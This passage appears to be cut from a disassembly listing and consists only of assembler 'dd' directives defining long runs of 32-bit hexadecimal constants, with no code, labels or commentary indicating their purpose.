		dd 0FC3FC0Bh, 0EA46D0FDh, 0C3054BB6h, 3F7EB505h, 30255FF1h
		dd 0D92612DBh, 0E4CEB80Fh, 923B31AAh, 91257EE8h, 0AB244A8h
		dd 9070B96Ah, 0D719F009h, 1068F506h, 0B016CE05h, 0FC1A11B7h
		dd 0D015F642h, 49FBAE9h, 0B3BE66D9h, 362C92FAh,	0CD590245h
		dd 0D4A0E970h, 128B8BF1h, 7064F67Dh, 450663BAh,	67BE3E31h
		dd 8AE9120Bh, 83B43174h, 54AC0220h, 0BE6A979Ah,	0AE04E356h
		dd 1058167h, 0B055ACD7h, 82B462E9h, 0AE9D95Fh, 97524FEFh
		dd 4E29AE54h, 56F8D045h, 0D669BB1Fh, 0B00FE86h,	2CEB446Ah
		dd 0FE4C5AE9h, 62BEC174h, 0D0C95695h, 0F1A53BBAh, 4B20916Eh
		dd 0C8E8144Dh, 12120B10h, 192B368h, 5E1D8A1h, 0D905F6BEh
		dd 0A572801Fh, 3D093259h, 0B0440168h, 0C4036FAFh, 98395345h
		dd 591EDD7Dh, 0DA1270B5h, 5ED6400Ch, 2DF88249h,	522F749Dh
		dd 12146F57h, 62C69E50h, 5F5A5494h, 0DC42D973h,	15B27F29h
		dd 51821751h, 0FDF4E1E9h, 61F6104Eh, 0C4112248h, 41A3E090h
		dd 5CC03DC9h, 674C1768h, 2E0DD3BFh, 0CD202D1Ch,	0F6BA81E3h
		dd 5D492DD4h, 0FD09ABA9h, 895D6161h, 0D1146494h, 0BEA96F5Ch
		dd 0DD635E42h, 62AF5E88h, 43125F98h, 2AA1B11h, 0C55F8927h
		dd 58C051C2h, 0ED1302B9h, 3302D4AEh, 611F64EEh,	38A0F1C5h
		dd 0B9789508h, 75229A97h, 0B9C6829h, 0C6ABF705h, 0D8D4DBCBh
		dd 97EDE2FEh, 8D8AD3BEh, 3850F495h, 0DAF60126h,	9976060Bh
		dd 0BC6B5C35h, 33E4E42Dh, 76E59550h, 21236800h,	27E94CD7h
		dd 209AE1C7h, 77A44455h, 6B0293FEh, 225586BAh, 0F5B37761h
		dd 5D34D720h, 0CB83052h, 6F237A08h, 3DF30220h, 785D13E7h
		dd 84DCE78Dh, 29DE2502h, 5F944102h, 0F71E6209h,	4CEBDC73h
		dd 0A6594E5Fh, 4A0A1760h, 0EFC1FF04h, 31D7BBC0h, 0D7F8E4C7h
		dd 0BE440408h, 51568A5Ah, 0DE39EC36h, 9B52792Dh, 7721D8A4h
		dd 0A415DF1Ch, 356850A8h, 9560469Fh, 3A2056ECh,	3517CAFh
		dd 0C96AE868h, 24B15D5Fh, 0BF1B5018h, 0AE053AC8h, 47E7D127h
		dd 811D00FAh, 2B4236C7h, 0FD015D13h, 0D0FB8E65h, 0EF522535h
		dd 0A4996B50h, 0E35FE202h, 575DE989h, 0DA9E0AFAh, 5A73542h
		dd 8067BD5Bh, 0C71185C3h, 3EE1BF22h, 5E0841EBh,	802CB957h
		dd 0BF48D108h, 172EF7ADh, 20CDE9B7h, 476EF32Bh,	2000D15Ah
		dd 0D9ACC56Ch, 9FB6B009h, 2AFE8E00h, 8B970F59h,	501C5E1Ch
		dd 0E98061BDh, 41A84B95h, 0DD52AF08h, 6DEA8041h, 0E93D7163h
		dd 0CA85BFEBh, 0E2E806B7h, 0F726453Ah, 0D568C758h, 4606123Dh
		dd 0EDC235ACh, 77BF11h,	0DA13B858h, 0EE833069h,	0EC06C690h
		dd 0FC9F90E0h, 0EA6BCE03h, 752D807Bh, 625F6832h, 28B65FEBh
		dd 6B8C0C40h, 0AA54FE9Dh, 0C03EC3Ah, 8F0C0315h,	7D04E920h
		dd 6B2FB85h, 0B08BEA93h, 86850869h, 26844563h, 3263CE7Fh
		dd 569B5C55h, 9C54CC06h, 2EA17918h, 5A78020Ch, 21DF118h
		dd 1E824BAFh, 0BA0088C3h, 26C9167Ch, 31092145h,	0E96B8BA2h
		dd 580C824Fh, 0DF2A8529h
		dd 6A63440h, 0ACF669C0h, 4E5020DCh, 8651C131h, 0B0B77ED8h
		dd 0F5A02089h, 0AB09BB6h, 98076395h, 1F5058C3h,	825287B4h
		dd 933DE94Eh, 33880951h, 0CB500ADh, 0F3885350h,	5B75DCE4h
		dd 0A820EE69h, 6FCFE8D1h, 6EACF763h, 0CCF7C4h, 8006EDC0h
		dd 25A87BE5h, 875E6203h, 0C9F87C49h, 906B89FDh,	9F9DB87Fh
		dd 0DFED8FD6h, 0F44BA83Bh, 4BE9F3DCh, 0ED0EC55Bh, 0BD03B4ACh
		dd 0AA0EC1FCh, 0A0604E89h, 256886E9h, 84FE2378h, 0E91708A0h
		dd 0F8CE6D1h, 516B0502h, 8C6C297Dh, 88C95D15h, 0FBCCDDB7h
		dd 826357F6h, 0B9C39D8Ah, 0C5BE4123h, 4BEA7085h, 0EC6784EDh
		dd 2CBA5A69h, 7E701C7h,	0E8285BB1h, 8524E62Eh, 0EC41C6E9h
		dd 0AE7DCCBBh, 5BDFDE41h, 1D51BB60h, 802B3614h,	986999EFh
		dd 3B0E2D0Fh, 0A125E66Dh, 49F07FB8h, 4527A03Eh,	0F5A9244Bh
		dd 0C4FA2987h, 1CA0BCCCh, 81AE4595h, 2AFEC417h,	2D835818h
		dd 41B52A0h, 77D53669h,	0E5E0AA5Dh, 67DD0FCAh, 53E452AAh
		dd 48EDB227h, 4C220090h, 0BCB9352Ch, 6DF50474h,	1F80C8E9h
		dd 0F064DC2h, 0EC944009h, 32C12774h, 4A767878h,	0F703E23Eh
		dd 18CFC600h, 0E9D531A5h, 0BCBA5C05h, 3AF93F8Bh, 4820B9A0h
		dd 87BD099Bh, 89806A4Eh, 0A302F8C1h, 10BE5F4Eh,	0C06008C7h
		dd 6E15E5F1h, 1BFE509Fh, 4D1F707h, 74AC281Ch, 4EFB896h
		dd 0B925412Fh, 381105D9h, 5EAF3049h, 31CB407Ah,	0E3E98469h
		dd 0B9B83C4Ah, 6AEDC2A7h, 0FDAD3B56h, 42D67903h, 7E25067Fh
		dd 0BD155BA8h, 0A80F6496h, 30BAA48Dh, 0E9FD8698h, 0E6E71029h
		dd 0DEE7CE9h, 6020DA78h, 2D00CBC6h, 0A53507F8h,	1229AB27h
		dd 4909E940h, 83595856h, 0B5FA73Dh, 0F7A0DDD6h,	0FB9DCBF1h
		dd 1927057Eh, 89BF20C9h, 952CEA1Eh, 881BFDAh, 0E8C8FF5Eh
		dd 600B613Eh, 568A9CE9h, 0A9956213h, 42505B02h,	0D9195530h
		dd 454D0115h, 818B5E20h, 70F87F5Ch, 0FFDC98B2h,	0C8A81B2Eh
		dd 4268240Bh, 148B110h,	0F6B394C2h, 0DA321478h,	496BF96Fh
		dd 6B2C0F59h, 667650Bh,	7F12A14h, 594788EAh, 27B6B26Ch
		dd 1D3C8390h, 11FF008h,	90820C7h, 0AD6FE958h, 0C5507154h
		dd 0A67A0531h, 10F50136h, 293F08CFh, 0EB4EBB4Eh, 0CEEF7254h
		dd 27B94EDDh, 554BE983h, 0ECB52605h, 0D81DD30h,	832A59EBh
		dd 0AEE15143h, 0A3B7E728h, 0D8B32C04h, 7F0A1669h, 669C8DC6h
		dd 61986804h, 0E9E161BAh, 5DBF240Bh, 5DD12125h,	49D6E89Ch
		dd 0E6535AA0h, 0F2074B12h, 0B9510174h, 22B23787h, 0DC12446Ch
		dd 0E7EF44FBh, 0D4BA3038h, 0C2425871h, 0D45AD516h, 0B1693h
		dd 362423A5h, 0EF2DE969h, 0F6E2EEAFh, 891A5F66h, 7CD5E16Fh
		dd 0F2681551h, 29FF4AE2h, 3A8B6E13h, 0CD541512h, 0FDFFA62Dh
		dd 0A12F1A09h, 0D0017CBEh, 206EF03Eh, 2835126h,	202D7D1Dh
		dd 14B5703h, 4A8D805Ah,	0C792F30h, 40951222h, 3C160703h
		dd 0DB912734h, 0F62A1E7Eh, 0F8E02C27h, 0C17ED9A7h, 0C274ADE9h
		dd 0EB7C717Fh, 0AA7D90D7h, 41F69F98h, 2F5C59h, 51BF5746h
		dd 181E6B6Dh, 7E67D2E9h, 598BC93Fh, 7B5282B9h, 0E912D6B3h
		dd 4B73820Ah, 1DED4855h, 5EF85CB7h, 536A403Bh, 19D60816h
		dd 0DB88B816h, 4CDBF8C5h, 0CD808A1Eh, 43754E77h, 14484AF8h
		dd 0E52DC03Ah, 98F3BDB6h, 0EB584B0Ah, 0C64DC41h, 0C2908A90h
		dd 705531C6h, 0EE05E1A7h, 0CAFF3EC4h, 8FE913A1h, 86AD4A57h
		dd 571D2CF5h, 0AC5E33B8h, 6B2B79AAh, 0E98245E8h, 68D68D80h
		dd 0FB0664C0h, 0B9099758h, 440C0CFEh, 770458A8h, 132B5A62h
		dd 2CEB2A92h, 52AF67B8h, 226812B9h, 0F1A0E812h,	851466ACh
		dd 6B4781D3h, 81BFF030h, 17EC6497h, 9595F04h, 2AE67619h
		dd 0F5977D2Dh, 0DB406EB2h, 82DAADh, 0A1660687h,	0A4595B65h
		dd 69183CCDh, 0B1F801B6h, 907EE671h, 9A4E0C4Eh,	5F28B9AEh
		dd 90CB3BE3h, 0B80D444Bh, 0AAE6FAC4h, 56D898D2h, 92F04B44h
		dd 0EB801787h, 72D09C9h, 4EC1D9D2h, 13BC7FEAh, 0DC59C07Ah
		dd 517D4103h, 0DDEF630h, 0BDC427E9h, 2EE2AF56h,	4990D14Fh
		dd 4135A644h, 5C016B9Ah, 6D876851h, 2C0FD78h, 5A43A93Eh
		dd 5BAA524Fh, 90D60B82h, 0B9192C0Eh, 7793384Eh,	4497622h
		dd 0E25C97CEh, 2078055h, 64135B43h, 0A3C59FE9h,	160F9AFAh
		dd 7F201DD0h, 483D205Bh, 7107A731h, 0C045193Ch,	0DC10DDF2h
		dd 4B183F60h, 0C16B6232h, 7DADBB0Ch, 6FA22E60h,	27D8E917h
		dd 0EB336438h, 3699DE47h, 59563021h, 41FFA830h,	77B1DFDDh
		dd 0D0D351CBh, 4B48632Fh, 9F43AF80h, 90A984Fh, 13346A75h
		dd 5D624E01h, 0ACD840D6h, 6127ED47h, 81D6F029h,	0C9445B08h
		dd 666289ACh, 79E413F7h, 0BD550401h, 6A3F717Bh,	82DAF1F8h
		dd 78F03B8Bh, 293CAA0Bh, 5B96574Bh, 2E6EBA00h, 0E9560EF0h
		dd 0BC8BB560h, 7CA78E67h, 607C7009h, 7A521F9Ch,	1C3120DAh
		dd 138F8320h, 0A3FD885Ch, 74915B6Eh, 0B800A9F3h, 2C274462h
		dd 6B2CF74Dh, 0C54BB368h, 0FDA21A67h, 0A83E5380h, 600F122Eh
		dd 7F52BACFh, 0F4E504ABh, 31580491h, 0F37A1FA1h, 0CE2B842Fh
		dd 0CB105B0Bh, 0C8837363h, 0FA30E281h, 4A722F87h, 7C9DEA14h
		dd 85EA9F49h, 0ABDFFEF4h, 0C7CD8617h, 0E114AC6Eh, 0BF01953Bh
		dd 3043F8E1h, 17F8893Eh, 70C83DC5h, 0CDFF247Bh,	49EF0184h
		dd 7213A946h, 0E90840E7h, 0B857652Ah, 8A52A097h, 7A79C01Ah
		dd 1C888229h, 0CE41A70Ah, 25616E5Dh, 928594F2h,	97556853h
		dd 8478B2E3h, 3E067348h, 227EF125h, 726C55C6h, 6EB9279Dh
		dd 22DE60A2h, 0C25A8B09h, 50EDFDC1h, 2F08E425h,	0A6990C73h
		dd 0B3177B6Ch, 0F93808BEh, 4EF4D025h, 8177ECB3h, 710A5157h
		dd 0BDA696F0h, 0FAE95F7Eh, 3924B68h, 64EE81D3h,	3010C289h
		dd 710C2745h, 1A463F75h, 0C94B12ACh, 8AE10023h,	29D207E5h
		dd 0C122C64Eh, 4BA00A0h, 525EED35h, 14329E1h, 0EFD4C8B9h
		dd 5AD12731h, 4EB69FC6h, 564C273Eh, 93E950DEh, 4674B44Fh
		dd 110999FCh, 0B5D0AB2Ch, 3AE6067Ah, 0AE3C0C94h, 8539C8EBh
		dd 321B5728h, 0EC185080h, 11613E9h, 60C5A2DFh, 2BDC4326h
		dd 4BFAB0F9h, 0DDE02805h, 498E6BF9h, 0F9656017h, 0B7AED261h
		dd 72E90C88h, 0E0B91068h, 5D6D4C0Dh, 8EDC0517h,	97404EDDh
		dd 0EFBDF4C1h, 6A029DFDh, 0C557B847h, 4DDFE939h, 2D5C92A3h
		dd 0B181303Ch, 80568195h, 0A66089E3h, 4F52F650h, 0C1B874FCh
		dd 2B99B404h, 8DC6A4ACh, 2398931Bh, 48DDD205h, 2CEFD501h
		dd 0EF3EC622h, 0DC3D2546h, 5008A013h, 1026F05Dh, 24677629h
		dd 2C2ED103h, 6C0334Fh,	4F5E3C59h, 2E2DBA2Dh, 0F20EC46Bh
		dd 9FECD66Dh, 1A104260h, 589D793Ch, 0E5DC953Bh,	57E330C9h
		dd 30388276h, 0DE4F015Ch, 0E96538AAh, 9E9FA42Ch, 5B0E6884h
		dd 74E560FBh, 7F2DA678h, 0C3275429h, 0AA84DB0Dh, 0CB4C329Bh
		dd 4F2F2C49h, 0A3CF3387h, 0E52088CAh, 12F37BE3h, 0AB3F5271h
		dd 0A6F97D17h, 0F94F723Eh, 69C9DE1Eh, 0DD93FF5Ch, 2C283EC1h
		dd 0DA68C21Bh, 1B9CC619h, 48E310E9h, 287D71E9h,	42ABD2B2h
		dd 0A635E906h, 72703246h, 59145695h, 7CBE7759h,	77256DBCh
		dd 282FC41Ch, 62347C92h, 0BEF117CCh, 0DAA2E985h, 207BEEB7h
		dd 42BD1226h, 73C07F07h, 86096855h, 0FD249973h,	4600131Ch
		dd 21547A6Bh, 94B7E9C5h, 0A69E253Eh, 0DA97E927h, 3CC50F3Eh
		dd 66443961h, 0B640F431h, 744F1BF4h, 71407BB1h,	0E744776Fh
		dd 759BAE80h, 0EA296D64h
		dd 881CAF1h, 6886E95Dh,	66592F3Fh, 7242C027h, 0E97E575Ch
		dd 79C67627h, 0BC6E88EAh, 5649BA01h, 7E300844h,	3D0E16B8h
		dd 12C8D43Ah, 2718BC08h, 594E515Bh, 2E72C6E9h, 0F2B844D6h
		dd 91DDD312h, 445119h, 5251905h, 0F80163A8h, 0B807132Dh
		dd 44B205A2h, 1AAB296Ch, 6ED80D47h, 79E9DEBFh, 9123112Ch
		dd 41B47748h, 0E690301Fh, 0EA8BAD69h, 82F4D4C3h, 57BC20DBh
		dd 0EC77F5CEh, 0C800D1B1h, 13214B05h, 9771906Eh, 0BE00259Ah
		dd 324D7C0Eh, 2E67695h,	38D83991h, 3B48407Dh, 20EEB7A3h
		dd 2F5B6812h, 1B82A137h, 0BB2BA005h, 5B3742E4h,	20A5B161h
		dd 6D145012h, 5B9B1AEBh, 53040B8Ah, 0CC9661E9h,	0A0B25ED2h
		dd 0C2E4C5B7h, 9244CC6Ah, 8361EC0Fh, 5104C93Bh,	397C6B3Ch
		dd 0DEFB21B4h, 51616246h, 9ED7B54h, 58791BEBh, 1F7E0888h
		dd 53C98B5Ah, 2153657h,	0F1067968h, 52D65966h, 1611F2AFh
		dd 0F1E3E95Fh, 0F3DA3E9Eh, 671EA904h, 73B8A971h, 5558A30Bh
		dd 5B60040Ch, 33C9BD00h, 2BF46736h, 51904A4Ah, 58A85893h
		dd 95015F0Bh, 1307072h,	81604DEh, 12551E01h, 45751B20h
		dd 0FE414241h, 0E55F0802h, 0EA808024h, 0D08850E2h, 0E910C7E4h
		dd 0F7509B7Fh, 0FFC14A34h, 0D7686660h, 0F095A63Bh, 26A24A5h
		dd 0C5DE08FDh, 0CEEF0493h, 0E95B0522h, 0F5EAEF68h, 3B1921A8h
		dd 0A0196DA6h, 0F95720D7h, 5CF334E5h, 4CC0C6B6h, 253B2613h
		dd 19C1DFF7h, 9E817008h, 6C146512h, 1282B2A1h, 78365A75h
		dd 39F2D4E1h, 2F2309B4h, 9784C87Eh, 11862D70h, 0C88AA77Ch
		dd 0E9040A2Dh, 0CCAF0AF5h, 6341E4C6h, 0D1F3616Bh, 5ECDE0E5h
		dd 3A90A19h, 61E8ED11h,	219E13C8h, 3A2289EEh, 84D317A8h
		dd 4171EAC3h, 3FF05AACh, 0E642ED01h, 18B27503h,	2920F5Bh
		dd 2193C1B6h, 265A27A3h, 0EBD61882h, 0EEF5298Eh, 0E89B6D9h
		dd 0D23F4A5Eh, 4BB5F894h, 0F2B751F8h, 7A4ABCCDh, 71BD3A40h
		dd 95DDB980h, 6F4BA4F2h, 0CF2A68A1h, 0FF9F6B62h, 7E979E14h
		dd 4BBC16B7h, 20FE5BFAh, 80EBD109h, 2D5A084Ch, 0FB09056Ch
		dd 885260E9h, 220FD044h, 9F893714h, 55406849h, 0DAFEF4B1h
		dd 9F8C8828h, 705FCF75h, 6C7BB7CBh, 73E28AE9h, 16C10189h
		dd 5681475h, 0D90314Eh,	0D325835h, 8841FC27h, 2C635BE2h
		dd 0EBF74BEAh, 0C5F29FFAh, 3F89D1F8h, 41C3DA13h, 235A2D14h
		dd 2E143A08h, 0D5F07F11h, 7F4C85C4h, 0C40131BEh, 4867AD05h
		dd 8120359Eh, 0C1409C21h, 68EE04D8h, 4B730C07h,	5545AAE9h
		dd 56D58916h, 910F8E09h, 0F4DABA0Eh, 548E021h, 0F32C0858h
		dd 3107AC11h, 936EF38h,	764920EAh, 0C4F4B805h, 5E878617h
		dd 0EC77C6C2h, 0BFF09168h, 0BE951212h, 87EA7422h, 21C38CF9h
		dd 0B6BE854Dh, 90B01230h, 0A2908EE5h, 76C2506Eh, 0D4C65F0Dh
		dd 0CBF9EE09h, 0BF027F6Ch, 2F5406E2h, 55EAE255h, 0B822258h
		dd 4A3D09C0h, 5A4D0412h, 0D1F3F1AAh, 0F9DFC242h, 12546BFFh
		dd 25072A00h, 0F332160Dh, 4EF8E9D4h, 9829A841h,	30236E58h
		dd 0DD0C53BAh, 773F6C56h, 880E801h, 0B5290C36h,	3282E573h
		dd 5F428B4Eh, 0C560FEC2h, 62D2AEC0h, 0DF90951Ah, 0B8E99AB8h
		dd 0AE416FFDh, 39D97956h, 80661B20h, 1B92DADh, 0B590500h
		dd 49E90999h, 0AE4E519Dh, 735A7972h, 14C62DEBh,	22411E90h
		dd 17367964h, 221F6737h, 4E589194h, 4233749Fh, 892D3F7h
		dd 81AFEB5Dh, 9D07CD1Ah, 0AAF36073h, 2C237692h,	0B05A0959h
		dd 8117E871h, 0DB18E142h, 9008EC3Bh, 42AC1217h,	0E57D01C3h
		dd 7A712AD0h, 1F9F08C0h, 4D5B3E34h, 3A2FF586h, 0E9501AAEh
		dd 433BF9C0h, 0C1517E29h, 2BC6F08h, 542DE9A8h, 923FD3A2h
		dd 0FA2BA422h, 68875F4Bh, 72E005B4h, 3E527253h,	3AF28851h
		dd 0DA8259CBh, 7947685Bh, 0E1993466h, 9DB2222Fh, 0BD5955E6h
		dd 3DCB08CFh, 1590C782h, 15512314h, 0AF40B0A8h,	5049168h
		dd 13F0295Eh, 7D68E4BCh, 317D3C43h, 191B8B9Eh, 0C134280Bh
		dd 9722AAFh, 0BCDE320h,	340B393Ah, 0BC49EE05h, 0D109D670h
		dd 0F6D26E07h, 122D9C71h, 2CC2EA5Ch, 0E55E572Bh, 0F447DD49h
		dd 0FA9655A5h, 0AA4A22A4h, 0FD5CB6C2h, 3CE4BA7Bh, 0E48DD206h
		dd 1AE5E5Ah, 65B9CEC7h,	0F6B0E730h, 860E2287h, 0DFD6F758h
		dd 7643E984h, 6958AEF2h, 5E74F215h, 131A5F78h, 21D8BB7Bh
		dd 4E639852h, 0BD241662h, 5905E2AAh, 0CB4BA7C6h, 0EE3177D8h
		dd 261698E5h, 22D17C8h,	12277E9Eh, 4462E801h, 0F7BF3268h
		dd 73A81A12h, 821608ADh, 9218EC1Fh, 0CB0281EEh,	9D4F7BD1h
		dd 0A942090Ch, 135E106Dh, 536B2506h, 3E991894h,	929DFF3Eh
		dd 95F433h, 5DDB1CC3h, 0BC0C768h, 0E9DE315Eh, 61B54FCEh
		dd 2B1E7605h, 37C06664h, 5C502946h, 3B109516h, 963124C0h
		dd 0CCCFE30h, 0FE45E093h, 538A5B13h, 56D703E6h,	0A4E1A2CBh
		dd 0A50B64A9h, 33506D1Eh, 0FC6FDE8Bh, 1457D20Ah, 46BD0951h
		dd 80D73F0Ah, 4137A30Fh, 61DDA00Ch, 95027A2Dh, 659D0EF0h
		dd 0A41FA41Dh, 788807CFh, 68FF0BA1h, 4A3D7695h,	57C1AF67h
		dd 0F2CA7FBDh, 4EB256Bh, 0C1206F47h, 428E71B5h,	0AF5E0CB6h
		dd 1A22962h, 7BE7C780h,	6C6E19C7h, 4BB0122Bh, 4ADEB228h
		dd 0B70813BAh, 0B0281CC0h, 0CFAE4A38h, 2E451212h, 0EBC934FEh
		dd 5F8253F0h, 1D39AF89h, 0BA247Eh, 1F2E408Bh, 0E9174A4Eh
		dd 47EC7264h, 0CEEB08A2h, 0A602E05h, 9F011E88h,	5C692214h
		dd 38C50C82h, 0A58046B3h, 0F4DF7C29h, 87ADE931h, 93705F52h
		dd 941EF4FAh, 0C2C19E5Fh, 19D30AFh, 5A71E957h, 0C0B8B6Bh
		dd 0F3779868h, 318540ECh, 0A0E4F29Fh, 0FC9DB44Fh, 4D9461h
		dd 0F6801CB6h, 0C667FE05h, 0EE801A0Ah, 1DB15159h, 81CE306Bh
		dd 0D05AF108h, 52AAFBE1h, 0F6D70775h, 0E99B2C90h, 6FA924Bh
		dd 3C68D1F7h, 295B837Fh, 40402DFEh, 903EAD3Fh, 57E9121Ch
		dd 8DCF08E4h, 0CC22B903h, 0D1A97E12h, 549C99C9h, 6C1ABEFh
		dd 0F7C26C77h, 0E904CC6Dh, 0CFBA257Ah, 0BF4A7FF8h, 0F1296A04h
		dd 29EDBF9h, 70F009BDh,	7DFDE880h, 0C89D6B19h, 5B0AA9A7h
		dd 783FE807h, 7AD24E14h, 493206EAh, 0B0C58F6h, 37E035A4h
		dd 0C09DE4D0h, 2748CEBFh, 2B5F6813h, 0D1ED078Eh, 77C7AE82h
		dd 680428D9h, 21EF0477h, 2882DB1h, 6D805D4Bh, 317FA7BFh
		dd 0E984A7BEh, 68048C8Dh, 5261986Fh, 0B55A5828h, 53B919C0h
		dd 0C01B8B1Ch, 714924DAh, 514EE914h, 0C52D1EC0h, 0BC332E28h
		dd 0A32023Ah, 4CDC359Fh, 8B5BFC7h, 0C19385BAh, 0E6EAC1C6h
		dd 0C0D184h, 7874CF81h,	59727B9Dh, 881D3CA5h, 800ECBDDh
		dd 3B54D219h, 0D93F600Bh, 0BE566358h, 5F4D0AF0h, 4C06DB0h
		dd 5107E6C1h, 8E4824E9h, 0C5688E08h, 0C20EE3E4h, 0FE00959Ch
		dd 73EC80CCh, 0ECF9E4C4h, 880304F4h, 812C58E1h,	0D204C882h
		dd 0E858B975h, 15A079FDh, 0BCB64E8Ch, 0F89B4E5h, 55CA5138h
		dd 484700EEh, 1BBB5D03h, 0FCB7B804h, 0C2C1EB81h, 0E0407C58h
		dd 3F922AE3h, 9000549h,	9C354A18h, 0DF21461h, 3F63475Ch
		dd 0BB7E9D02h, 1209CD93h, 0A4ACDB1Ch, 257EAB67h, 0BD2F98D5h
		dd 0ECB481A3h, 8014DCF6h, 28838EE4h, 44488C72h,	116B1034h
		dd 1FB6ED40h, 18F4300Eh, 28CC1C5Ah, 0B5850082h,	28C58057h
		dd 34E3F6B1h, 0E85EB469h, 53AF5F77h, 7C6E8F7h, 0DBF692EBh
		dd 59B015C4h, 2AEABDBAh, 2D938580h, 42906035h, 9A05FC01h
		dd 0B80DE93Bh, 0E54AB56Dh
		dd 3A02EDF1h, 4E02DA13h, 0D519DA15h, 0A5D759C8h, 554BF624h
		dd 0AAB2927h, 0F7180D90h, 97DD0434h, 807E9CEEh,	1220D648h
		dd 3B6015B0h, 7D50683Ch, 0C3722A32h, 5245F2FBh,	20649126h
		dd 17FAA33Eh, 0C888A416h, 97DD9553h, 0AB4A3B24h, 2A683C98h
		dd 5C2E5CA2h, 0DA20D156h, 0D8405827h, 2CA80C0Fh, 0E9D3C589h
		dd 3A125B4Bh, 74713A03h, 4DA8E588h, 823F5081h, 7AB67159h
		dd 0E8283806h, 98AF3510h, 7E301A1h, 6E296848h, 89C45FE8h
		dd 935CADD0h, 0ED0E7EE8h, 34AF44E9h, 5110EA32h,	0A0EC4A08h
		dd 0FDB47Ch, 8166EFBFh,	6F64F49h, 4268DE97h, 0C2825251h
		dd 137D7FB7h, 9374C10Ch, 0E4F20164h, 0CA08DAD6h, 4A97D9D6h
		dd 820DB901h, 0C0FE691Ch, 75112D8Ah, 0B84D4F16h, 0E90740CCh
		dd 1488BA4Bh, 256C96ABh, 25AD67Eh, 0F7B3EDB6h, 1259AE6h
		dd 0D0CC75F3h, 0E7F1234Bh, 0ADEDF996h, 1A93468Fh, 0D51CFD29h
		dd 7FE9A321h, 2BD13EC2h, 9404C5F3h, 4EA2EFF5h, 0B63604D7h
		dd 1E79FB2Ah, 20503D7Bh, 4613669Bh, 0C8EF4F88h,	917C687Ah
		dd 0AF3718B5h, 4C790949h, 0B1A0FE31h, 0AA53E94Eh, 0E857CAAAh
		dd 8284EDB6h, 13E3DBDFh, 0EA1D8087h, 0E9254207h, 0BF9E4021h
		dd 59CC2405h, 0E58E28C6h, 0C53F5DCDh, 628901A5h, 7E34D545h
		dd 80938D4h, 0AFB17758h, 28002ABCh, 80F32859h, 2A1F4CC3h
		dd 3052B237h, 0A4B6528Ch, 0D6CEFE24h, 902A0509h, 6ABAB159h
		dd 0A781820h, 6C9D5388h, 37410A12h, 0BE8827Bh, 7BBFC7D0h
		dd 0B1B7C420h, 3C42EA99h, 0EA45810Fh, 0E68291BDh, 204F6508h
		dd 5E120D6Ch, 0CD013AE8h, 7E6E76FBh, 61B096Eh, 8A8361AFh
		dd 0E9E8D67Fh, 0EBDD8CF0h, 0E3401893h, 0CC4DFABBh, 5BACF44Bh
		dd 0EA40D98Ah, 0D10048DFh, 0FA682FEAh, 4C5A195Dh, 0F7D833D1h
		dd 50BACCD0h, 6819E11Fh, 0DF452D27h, 55840E2Fh,	50ACAADEh
		dd 1285F45Fh, 1523501h,	0E449F766h, 5AF6207Ch, 1D2E031Fh
		dd 8A074E4h, 2D141CD0h,	82F9DA5Fh, 6BFA5E23h, 1E1D0BE8h
		dd 5BCC5BDh, 819509E1h,	3F45A9E5h, 0FB176E8Ah, 5F95CA8Bh
		dd 0E9C509B2h, 7D99EF9Eh, 92BECBE4h, 6F4A3186h,	3CAE527h
		dd 0BB7CB1ADh, 60D34034h, 79AF4E5Ah, 5600616Dh,	0FAA0D968h
		dd 9EA3E9E7h, 8B382647h, 6EC6AD38h, 4FE36C20h, 184DBC54h
		dd 0CACB6522h, 0F73B300Ch, 0BC29C20Ch, 8AB9BA25h, 0E20F7EA8h
		dd 0B7196F0Fh, 5D808C1h, 5D5B0A40h, 8D2C27E9h, 0ECB0BF52h
		dd 3C6AA26Ch, 62FD26C1h, 5EF109E4h, 2567520Ah, 0BF542056h
		dd 0A92DCD84h, 2FE917EDh, 0B79E9B1h, 3543EE97h,	4887BEE9h
		dd 80196F76h, 0F5E3FD8Ah, 7A222549h, 73F48BE0h,	0C5CC20FAh
		dd 0D4F69318h, 58285716h, 7F8462E3h, 601BD04Bh,	0AD90C66Dh
		dd 4E5FFD3Ah, 0ABC60DF8h, 0BB095A82h, 5F2327EBh, 0F1071581h
		dd 8AD4FA1Ch, 9DEBF2A5h, 564638Ah, 0C12F08F7h, 5911225h
		dd 2113EDF9h, 97F7ACF1h, 0E05FEEDFh, 0F9C1124h,	90F4CCC9h
		dd 88D6BC70h, 6613AF7Bh, 9CEEE2D3h, 494BEC90h, 0EF535EC9h
		dd 5992FB04h, 174665B4h, 0F8841BA0h, 0B6D2106Fh, 1F575B12h
		dd 7394255Fh, 17018F37h, 9746B861h, 41C1CBCBh, 0E83F08CAh
		dd 86E9C2C0h, 59CCE814h, 9402F62h, 0EF7A1544h, 0D4222A2Dh
		dd 768002F8h, 2BDE3735h, 636FB804h, 843924AEh, 0AAF7D41Bh
		dd 8ED92DB9h, 87A83AD9h, 634E41D2h, 7A2F9716h, 120C18E0h
		dd 44C259E9h, 0F60DD7CCh, 4F34967Ch, 0A4E48805h, 848732BBh
		dd 41EB5824h, 8D044715h, 0A5F8F91Bh, 12BCD61Dh,	92F3AB29h
		dd 1543FC4Eh, 16AA42C3h, 79208174h, 4B4303A1h, 8F95EC61h
		dd 2434C458h, 0A55EC555h, 67BC6A66h, 6DB4BEB4h,	0C4125E9h
		dd 68673FF1h, 0F70B4D77h, 0D8BF66EEh, 0B15A5B32h, 0C6F33EE5h
		dd 0BC25A8D6h, 23854A2Fh, 28C95A34h, 604D02A9h,	3E025E24h
		dd 0CA1848B3h, 305C2ABAh, 0FD6AEF72h, 321B6809h, 0E90D0C06h
		dd 5A4280DCh, 6B3DFA9Dh, 2FFF1847h, 5DE7699Ah, 0A9BF4ABEh
		dd 0D69F80E5h, 13121F63h, 0AA27C4E9h, 0FE049B74h, 66077EB0h
		dd 3A407350h, 0AEB7277Dh, 0A4D94F5Ch, 90B8E797h, 663DB981h
		dd 0E1CC6054h, 3201950Ch, 0BE194029h, 0C6D5E736h, 280F118Ch
		dd 0E5522CC8h, 0B52D5994h, 0B74D3160h, 9BF437B0h, 42FC5881h
		dd 705981B3h, 0EB5EE437h, 0EA377D0h, 0EC744B8Dh, 0F33B005Dh
		dd 0F7EBD171h, 0E908C2DBh, 98F72FB2h, 0B499701Fh, 0C2FB7B5Ch
		dd 0B2F57740h, 805702FDh, 0A907B3AAh, 53FBA14h,	0CC76B1C2h
		dd 234B8073h, 80B5B37Eh, 82316E93h, 0BDE91216h,	1B05F4C8h
		dd 2160441Eh, 758833C9h, 0D820E366h, 0D65ADDE2h, 0BE5BF04Bh
